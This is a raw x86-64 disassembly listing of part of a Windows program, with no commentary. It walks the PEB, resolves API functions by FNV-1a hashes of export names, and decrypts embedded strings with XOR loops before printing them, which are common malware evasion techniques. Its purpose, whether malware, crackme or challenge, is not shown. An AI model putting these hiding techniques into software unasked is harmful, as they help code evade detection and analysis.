lea rdx, [rdx + 1]
test cl, cl
jne 0x14000c5c0
cmp r8d, 0x491e0a9c
je 0x14000c5eb
test r9d, r9d
jne 0x14000c5a0
mov rax, qword [rax]
jmp 0x14000c570
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x978]
call rdx
lea rcx, [rbp + 0x6d0]
lea rdx, [0x14001d250]
mov rax, r15
nop dword [rax]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub rax, 1
jne 0x14000c620
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movzx eax, word [rdx + 0x40]
mov word [rcx + 0x40], ax
movzx eax, byte [rdx + 0x42]
mov byte [rcx + 0x42], al
mov r8d, edi
cmp r14d, 2
jl 0x14000c805
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r13d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x6d0]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x140
jl 0x14000c6f0
cmp r8d, 0x143
jge 0x14000c856
movsxd rax, r8d
lea r9, [rbp + 0x6d0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x143
jl 0x14000c820
lea rdx, [rbp + 0x6d0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
call fcn.140010ab0
movups xmm0, xmmword [str.aGUGBV]
movups xmmword [rbp + 0x50], xmm0
movups xmm1, xmmword [0x14001d550]
movups xmmword [rbp + 0x60], xmm1
movsd xmm0, qword [str._:1__yvwZ]
movsd qword [rbp + 0x70], xmm0
movzx eax, byte [0x14001d568]
mov byte [rbp + 0x78], al
mov r8d, edi
cmp r14d, 2
jl 0x14000c9ff
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r12d
movdqa xmm7, xmmword [0x14001dc40]
movd xmm8, r13d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x50]
mov edx, dword [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000c8f0
cmp r8d, 0x29
jge 0x14000ca43
movsxd rax, r8d
lea r9, [rbp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x14000ca10
lea rdx, [rbp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14000caf6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14000caf6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000caf1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000cad0
cmp r8d, 0x2fa62ca8
je 0x14000cafb
test r9d, r9d
jne 0x14000cab0
mov rax, qword [rax]
jmp 0x14000ca80
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x3e8
call rdx
mov eax, dword [str.Q_G5]
mov dword [rbp + 0x978], eax
cmp byte [0x14001d24b], 0
je 0x14000cc12
mov r8d, edi
cmp r14d, 2
jl 0x14000cbcd
movdqa xmm3, xmmword [0x14001dc20]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14001dcc0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14001dcc0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
movd xmm0, r12d
psrad xmm2, xmm0
movd xmm0, r13d
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x14001dc40]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14001dca0]
movd xmm0, eax
pxor xmm2, xmm0
movd dword [rbp + 0x978], xmm2
jmp 0x14000cc12
lea r9, [rbp + 0x978]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14000cbe0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14000cca6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14000cca6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000cca1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14000cc80
cmp r8d, 0x491e0a9c
je 0x14000ccab
test r9d, r9d
jne 0x14000cc60
mov rax, qword [rax]
jmp 0x14000cc30
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x978]
call rdx
lea rcx, [rbp + 0x820]
lea rdx, [0x14001d250]
mov rax, r15
nop dword [rax]
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub rax, 1
jne 0x14000cce0
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movzx eax, word [rdx + 0x40]
mov word [rcx + 0x40], ax
movzx eax, byte [rdx + 0x42]
mov byte [rcx + 0x42], al
mov r8d, edi
cmp r14d, 2
jl 0x14000cec5
mov rcx, r14
call fcn.140019790
nop
cmp byte [rsp + 0x71], 0
je 0x1400076eb
mov rdx, qword [rbp + 0xa60]
inc rdx
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000f57b
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f57b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140019790
jmp 0x1400076eb
movups xmm0, xmmword [0x14001dae0]
movups xmmword [rbp + 0x10], xmm0
movsd xmm1, qword [0x14001daf0]
movsd qword [rbp + 0x20], xmm1
cmp byte [0x14001daf7], 0
je 0x14000f740
cmp r13d, 2
jl 0x14000f70e
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
mov r15d, 5
movd xmm6, r15d
movdqa xmm7, xmmword [0x14001dc40]
mov r12d, 0x1f
movd xmm8, r12d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x10]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x18
jl 0x14000f600
lea rdx, [rbp + 0x10]
jmp 0x1400076c3
lea r8, [rbp + 0x10]
mov eax, 0x1f7047dd
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x18
jl 0x14000f712
lea rdx, [rbp + 0x10]
jmp 0x1400076c3
movups xmm0, xmmword [0x14001d718]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [0x14001d728]
movups xmmword [rbp + 0xa0], xmm1
movsd xmm0, qword [0x14001d738]
movsd qword [rbp + 0xb0], xmm0
cmp r13d, 2
jl 0x14000f8c7
movdqa xmm5, xmmword [0x14001dc20]
movdqa xmm4, xmmword [0x14001dcc0]
movd xmm6, r14d
movdqa xmm7, xmmword [0x14001dc40]
mov r12d, 0x1f
movd xmm8, r12d
movdqa xmm0, xmmword [0x14001dca0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x90]
mov edx, dword [rsp + 0x60]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001dc60]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x28
jl 0x14000f7c0
jmp 0x14000f8fe
lea r8, [rbp + 0x90]
nop
mov eax, 0x1f7047dd
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, dil
sub al, cl
add al, 0x32
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x28
jl 0x14000f8d0
lea rdx, [rbp + 0x90]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400108c0
mov rcx, rax
lea rdx, [0x140010a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdx, qword [rbp + 0xa00]
cmp rdx, 0x10
jb 0x14000f972
inc rdx
mov rcx, qword [rbp + 0x9e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f96c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f96c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140019790
nop
mov rdx, qword [rbp + 0x9e0]
cmp rdx, 0x10
jb 0x14000776e
inc rdx
mov rcx, qword [rbp + 0x9c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007769
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007769
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400198a0
nop
call fcn.140001bc0
int3
call fcn.140001b20
int3